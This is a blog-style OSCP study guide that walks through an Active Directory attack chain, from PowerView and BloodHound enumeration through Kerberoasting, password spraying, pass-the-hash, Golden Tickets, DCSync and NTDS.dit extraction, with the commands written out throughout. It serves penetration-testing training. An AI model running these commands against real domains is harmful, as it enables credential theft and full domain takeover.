Active Directory Exploitation for OSCP: My Complete Attack Methodology

Foysal Hossain, Senior Consultant @EY

10 min read

·

Sep 2, 2026

--

4

Listen

Share

From domain enumeration to Domain Admin — the Active Directory attack chain that carried me through the OSCP exam.

About Me

Hey, I’m Foysal — a Senior Consultant at EY. I passed my OSCP+ and OSCP exams on July 7, 2026, and this article is a direct continuation of my previous write-up on Windows Privilege Escalation. Here, I’m sharing the complete Active Directory attack methodology I relied on — from the first Get-NetUser query all the way to a Domain Admin shell on the DC.

Active Directory is where the OSCP exam (and most real-world internal engagements) genuinely separates candidates who understand offensive security from those who’ve only memorized commands. I hope this walkthrough gives you a structured, repeatable process rather than a disconnected list of tools.

If you find this useful, follow along — I’ll keep publishing practical, exam-focused offensive security content.

Introduction

Active Directory (AD) is the backbone of nearly every enterprise Windows network, and it’s also the single most valuable target in an OSCP-style Active Directory set. Unlike an isolated Windows or Linux box, AD is a graph — a web of users, groups, computers, sessions, and permissions — and compromising it rarely comes down to one exploit. It comes down to chaining small wins together: a readable share here, a cracked hash there, a misconfigured ACL somewhere else, until you’re standing on the Domain Controller.

In this article, I’ll walk through my end-to-end AD methodology in the order I actually apply it during an assessment or the exam:

1. Understanding the fundamentals (so every attack makes sense, not just works)
2. Enumeration with PowerView and BloodHound
3. Attacking AD authentication — Kerberos and NTLM abuse
4. Lateral movement across the domain
5. Domain dominance — Golden Tickets and DCSync
6. Stealthy persistence and credential extraction via Shadow Copies

Every technique below is something I used, tested, and refined in lab environments before relying on it under exam pressure.

1. Active Directory Fundamentals — Before You Attack Anything

You cannot exploit what you don’t understand. Before touching PowerView or Mimikatz, get the mental model straight.

In simple terms: AD = a centralized authentication and authorization system for Windows networks.

• Domain — a group of computers and users managed centrally (e.g., corp.local). When you see user@corp.local, that user belongs to a domain.
• Domain Controller (DC) — the brain of the domain. It authenticates users, stores password hashes, enforces permissions, runs Kerberos, and holds the AD database. Common DC ports are a dead giveaway:

Port Service 53 DNS 88 Kerberos 389 LDAP 445 SMB

If you see all four open on one host, you’ve almost certainly found a Domain Controller.

• Domain user vs. local user — a local user exists only on one machine; a domain user, created on the DC, can authenticate across every domain-joined machine.
• Trust — one domain allowing users from another domain to authenticate. Trust = a cross-domain authentication relationship.

Kerberos — the concept that unlocks everything else

AD’s primary authentication protocol is Kerberos, a ticket-based system. Instead of sending a password on every request, a user authenticates once, receives a ticket, and reuses it:

1. User logs in → sends a password hash to the DC
2. DC issues a TGT (Ticket Granting Ticket)
3. User presents the TGT to request a service ticket (TGS)
4. User accesses the target service (SMB, HTTP, SQL, etc.) with that ticket

Nearly every advanced AD attack — AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Overpass-the-Hash — is really just an abuse of one step in this flow. Once Kerberos clicks, these attacks stop feeling like magic and start feeling like logic.

LDAP, in short, is how tools query AD for information — who the users are, what groups exist, who’s an admin. BloodHound, ldapsearch, and netexec all use LDAP under the hood. GPO (Group Policy) pushes centralized configuration to every machine; a misconfigured GPO is a common privilege escalation vector.

The OSCP mental model

Don’t think: “I need advanced red-team tradecraft.” Think:

• Who can log in where?
• Who has admin rights?
• Can I reuse this credential somewhere else?
• Can I impersonate this user?

AD exploitation, distilled: credential abuse + permission abuse. Everything below is a variation on those two ideas.

2. Enumeration — PowerView and BloodHound

You cannot attack what you haven’t mapped. This phase consumes more of my time than any single exploit, and it should.

PowerView: manual, precise enumeration

powershell -ep bypass
Import-Module .\PowerView.ps1

Get-NetDomain
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup "Sales Department" | select member
Get-NetComputer | select operatingsystem,dnshostname

Find where you already have local admin rights — this single command has handed me more footholds than any exploit:

Find-LocalAdminAccess

Cross-reference with session data to figure out who is logged in where:

Get-NetSession -ComputerName files04 -Verbose

Or use the classic Sysinternals tool for the same purpose:

.\PsLoggedon.exe \\files04

If a privileged account like jeffadmin has an active session on a box you control, that's a flag to keep enumerating — not to rush in. Thorough analysis beats a quick, noisy win.

Enumerate Service Principal Names (SPNs)

SPNs link a service (Exchange, MS SQL, IIS) to a specific AD account — and they’re the foundation of Kerberoasting, covered later:

setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname

Object permissions (ACLs/ACEs) — where the real gold is

AD objects carry Access Control Entries (ACEs) that make up an ACL. Certain rights are effectively “game over” if you hold them on the right object:

Right What it lets you do GenericAll Full control over the object GenericWrite Edit specific attributes WriteOwner Change the object's owner WriteDACL Modify permissions applied to the object ForceChangePassword Reset the password without knowing the current one AllExtendedRights Change/reset passwords and more Self (self-membership) Add yourself to a group

Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier

If you discover GenericAll on a group, don't just report it — demonstrate impact:

net group "Management Department" stephanie /add /domain

Domain shares — the overlooked goldmine

Find-DomainShare
ls \\dc1.corp.com\sysvol\corp.com\Policies\

SYSVOL frequently hides old Group Policy Preference (GPP) XML files with encrypted-but-crackable passwords:

gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

BloodHound: visualizing what PowerView only lists

Manual enumeration tells you facts. BloodHound tells you the shortest path to Domain Admin — and on the exam, time is the scarcest resource you have.

Collect data (Windows):

powershell -ep bypass
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp_audit"

Collect data (Kali):

bloodhound-python -u user -p pass -d domain.local -ns <DC_IP> -c All

Analyze:

sudo neo4j start
bloodhound

My must-run queries, every single time, in this order:

1. Find all Domain Admins — know your final target
2. Shortest Paths to Domain Admins — the primary attack surface
3. Find Principals with DCSync Rights — a path to hashes without ever touching the DC directly
4. Shortest Path from Owned Principals — after marking every compromised account/computer as “Owned” (right-click → Mark as Owned)

BloodHound is exceptional at surfacing exactly the ACL abuse, Kerberoastable accounts, and session-based lateral movement paths covered in the rest of this article — use it to confirm your manual findings and prioritize your next move.

3. Attacking Active Directory Authentication

This is where Kerberos and NTLM theory becomes practical credential access.

NTLM vs. Kerberos, briefly

NTLM authentication is used when a client authenticates by IP rather than hostname, or against a host not registered in AD-integrated DNS. Kerberos, by contrast, always routes authentication through the DC’s Key Distribution Center (KDC) first. Knowing which protocol is in play tells you which attacks (Pass-the-Hash vs. Pass-the-Ticket) are viable.

Dumping cached credentials with Mimikatz

privilege::debug
sekurlsa::logonpasswords

This single command has, across countless engagements, handed me NTLM hashes, and occasionally plaintext passwords, for every user who has ever interactively logged into that box.

To view active Kerberos tickets in memory:

sekurlsa::tickets

Password spraying — low and slow

.\Spray-Passwords.ps1 -Pass Nexus123! -Admin

crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success

.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!"

AS-REP Roasting

If Kerberos pre-authentication is disabled on an account, you can request an AS-REP for that user without any credentials and crack it offline.

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete

sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Or from a Windows foothold with Rubeus:

.\Rubeus.exe asreproast

In one lab scenario, spraying pete's account against a user list surfaced that dave had pre-authentication disabled — cracking his AS-REP hash recovered his plaintext password directly. AS-REP Roasting requires zero domain credentials to attempt, which makes it worth running against every discovered username early in an assessment.

Kerberoasting (TGS-REP Roasting)

Any authenticated domain user can request a TGS for any SPN-associated account — and that ticket is encrypted with the service account’s own password hash, making it crackable offline.

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete

sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Service accounts are notorious for weak, rarely-rotated passwords — Kerberoasting is consistently one of the highest-yield attacks in an AD environment.

Silver Tickets

A Silver Ticket forges a TGS for a specific service, requiring only the SPN’s own hash, the domain SID, and the target SPN — no DC interaction needed at forge time.

privilege::debug
sekurlsa::logonpasswords
whoami /user

kerberos::golden /sid:S-1-5-21-... /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

klist
iwr -UseDefaultCredentials http://web04

DCSync — becoming the Domain Controller, briefly

If your compromised account holds replication rights (Replicating Directory Changes and Replicating Directory Changes All), you can impersonate a Domain Controller and pull any user's password hash — including the domain Administrator — without ever executing code on the DC itself.

lsadump::dcsync /user:corp\Administrator

From Kali:

impacket-secretsdump -just-dc-user Administrator corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023!"@192.168.50.70

crackmapexec smb 192.168.105.75 -u mike -p 'Darkness1099!' --lsa

Once you have an NTLM hash for a privileged account, moving to that account is straightforward:

impacket-psexec Administrator@DC1_IP -hashes :NTLM_HASH
impacket-wmiexec Administrator@DC1_IP -hashes :NTLM_HASH
evil-winrm -i DC1_IP -u Administrator -H NTLM_HASH

And when you have plaintext domain credentials instead of a hash, Kerberos authentication via Impacket works just as well:

getTGT.py thm.loc/mary:'SuperLongForKerberos123!' -dc-ip 192.168.11.100
export KRB5CCNAME=mary.ccache
smbclient.py thm.loc/mary@SERVER1.thm.loc -k -no-pass -dc-ip 192.168.11.100

4. Lateral Movement — Turning One Box Into the Whole Domain

Compromising the first host is rarely the finish line. Lateral movement is how a single foothold becomes domain-wide control.

WMI

wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

For a full reverse shell, encode a PowerShell payload to base64 and execute it via a CIM session:

$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command}

WinRM

winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"

Or, natively in PowerShell:

New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1

PsExec

.\PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd

Requires the authenticating user to be a local admin on the target, with ADMIN$ and File and Printer Sharing available — both true by default on most Windows Servers.

Pass the Hash (PtH)

Authenticate using a captured NTLM hash instead of a plaintext password — valid only against NTLM-authenticated services:

impacket-wmiexec -hashes :369def79d8372408bf6e93364cc93075 corp/jen@192.168.1.50
crackmapexec smb 192.168.1.0/24 -u jen -H 369def79d8372408bf6e93364cc93075
evil-winrm -i 192.168.1.50 -u jen -H 369def79d8372408bf6e93364cc93075

Overpass the Hash (OtH)

Convert an NTLM hash into a full Kerberos TGT, upgrading NTLM-only access into Kerberos-capable access:

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

net use \\files04
klist

Pass the Ticket (PtT)

No hash required at all — steal a ticket directly from memory and inject it into your own session.

mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;3e7]-0-2-40a10000-jen@cifs-files04.kirbi

Stealing a TGT rather than a single service ticket is strictly more powerful — a TGT lets you request a ticket for any service the impersonated user can access, not just one.

DCOM

A less common but effective lateral movement path abusing the MMC20.Application COM object:

$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")

Swap the payload for a base64-encoded PowerShell reverse shell and this becomes a full remote code execution primitive — one more tool in the lateral movement toolbox when WMI or WinRM are locked down.

5. Golden Tickets — Domain-Wide Persistence

A Silver Ticket gets you into one service. A Golden Ticket gets you into the entire domain, indefinitely, as any user you choose — including a fabricated Domain Admin.

The prerequisite is steep: you need the NTLM hash of the krbtgt account, which typically requires Domain Admin access or direct DC compromise to obtain in the first place.

mimikatz # lsadump::lsa /patch

RID  : 000001f6 (502)
User : krbtgt
NTLM : 1693c6cefafffc7af11ef34d1c788f47

With the krbtgt hash and domain SID in hand, forge and inject the ticket:

kerberos::purge
kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-... /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt

PsExec.exe \\dc1 cmd.exe
whoami /groups

The whoami /groups output confirms membership in Domain Admins — a low-privileged user like jen, previously without DC access, now holds a domain-administrative TGT. This is the reason krbtgt password rotation (twice, in sequence) is one of the first remediation steps after any AD compromise.

6. Shadow Copies — Stealthy, Offline NTDS.dit Extraction

Running Mimikatz directly against LSASS is loud and heavily flagged by modern EDR. The Volume Shadow Copy Service offers a quieter path to the same data: a full copy of the AD database, NTDS.dit, extracted without ever touching the live filesystem or the running LSASS process.

vshadow.exe -nw -p C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
reg.exe save hklm\system c:\system.bak

Transfer both files to Kali and extract every credential in the domain offline:

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Administrator:500:...:2892d26cdf84d7a70e2eb3b9f05c425e:::
krbtgt:502:...:1693c6cefafffc7af11ef34d1c788f47:::

This single technique yields every domain account’s hash — Administrator, krbtgt, and every service and machine account — in one offline pass, making it one of the most valuable (and quiet) persistence and credential-harvesting techniques in the AD playbook.

Building Your AD Attack Checklist

Every technique in this article maps to a repeatable question, the same way my Windows privesc checklist does:

1. What does the domain look like? → PowerView + BloodHound enumeration
2. Whose credentials can I get without any access at all? → AS-REP Roasting, password spraying
3. Whose credentials can I get once I have a domain account? → Kerberoasting, ACL abuse
4. Can I move to another host with what I already have? → PtH, OtH, PtT, WMI/WinRM/PsExec/DCOM
5. Can I dump the entire domain? → DCSync, Shadow Copy extraction
6. Can I stay in, indefinitely, as anyone? → Golden Ticket

Run through these six questions on every AD engagement, in order, and you will rarely leave without a viable path to Domain Admin.

Final Thoughts

Active Directory exploitation isn’t a collection of isolated party tricks — it’s a single connected attack chain, and every technique in this article is a link in it. Enumeration tells you where the weak links are. Kerberos and NTLM abuse gets you the first credential. Lateral movement spreads that access. DCSync, Golden Tickets, and Shadow Copies turn a single compromised account into total domain control.

On the OSCP exam, the AD set rewards exactly this kind of structured thinking under time pressure. Don’t chase exploits — chase the graph. Follow the path BloodHound shows you, validate it manually, and execute methodically.

Good luck, and happy hacking.

I’m Foysal, a Senior Consultant at EY and an OSCP+ / OSCP certified professional. If this guide helped you, follow me for more OSCP and offensive security write-ups. Feel free to connect and share your own Active Directory attack paths in the comments.